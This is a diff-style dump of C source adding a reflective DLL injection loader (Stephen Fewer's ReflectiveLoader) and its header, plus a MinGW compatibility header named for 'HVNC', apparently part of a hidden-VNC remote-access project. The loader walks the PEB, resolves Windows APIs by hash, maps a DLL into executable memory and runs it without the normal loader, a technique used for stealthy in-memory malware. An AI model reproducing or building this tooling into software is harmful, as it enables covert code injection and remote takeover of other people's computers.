||||
#ifdef WIN_X86
|
||||
uiBaseAddress = __readfsdword(0x30);
|
||||
#else WIN_ARM
|
||||
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while (uiValueA)
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror((DWORD)uiValueC);
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if (*((BYTE*)uiValueB) >= 'a')
|
||||
uiValueC += *((BYTE*)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE*)uiValueB);
|
||||
uiValueB++;
|
||||
} while (--usCounter);
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == LOADLIBRARYA_HASH)
|
||||
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == GETPROCADDRESS_HASH)
|
||||
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == VIRTUALALLOC_HASH)
|
||||
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF(uiValueA);
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while (uiValueA--)
|
||||
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while (uiValueE--)
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while (uiValueD--)
|
||||
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof(IMAGE_SECTION_HEADER);
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// itterate through all imports
|
||||
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
|
||||
{
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while (DEREF(uiValueA))
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = (uiBaseAddress + DEREF(uiValueA));
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof(ULONG_PTR);
|
||||
if (uiValueD)
|
||||
uiValueD += sizeof(ULONG_PTR);
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
// check if their are any relocations present
|
||||
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// and we itterate through all entries...
|
||||
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while (uiValueB--)
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
|
||||
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
|
||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)(dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
|
||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
|
||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof(IMAGE_RELOC);
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
||||
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// Store the parameter globally so DllMain can access it
|
||||
g_lpReflectiveParameter = lpParameter;
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
*(HMODULE*)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,203 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
|
||||
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
|
||||
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror(DWORD d)
|
||||
{
|
||||
return _rotr(d, HASH_KEY);
|
||||
}
|
||||
|
||||
__forceinline DWORD hash(char* c)
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror(h);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, * PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK* pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
} IMAGE_RELOC, * PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
Binary file not shown.
@@ -0,0 +1,18 @@
|
||||
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
|
||||
#ifndef _HVNC_SEH_COMPAT_H
|
||||
#define _HVNC_SEH_COMPAT_H
|
||||
|
||||
#ifdef __MINGW32__
|
||||
// MinGW doesn't support MSVC structured exception handling.
|
||||
// Replace __try/__except with plain code execution (no SEH guard).
|
||||
#define __try
|
||||
#define __except(x) if (0)
|
||||
#define __finally
|
||||
|
||||
// MSVC uses GetExceptionCode() inside __except; provide a stub.
|
||||
#ifndef GetExceptionCode
|
||||
#define GetExceptionCode() 0
|
||||
#endif
|
||||
#endif // __MINGW32__
|
||||
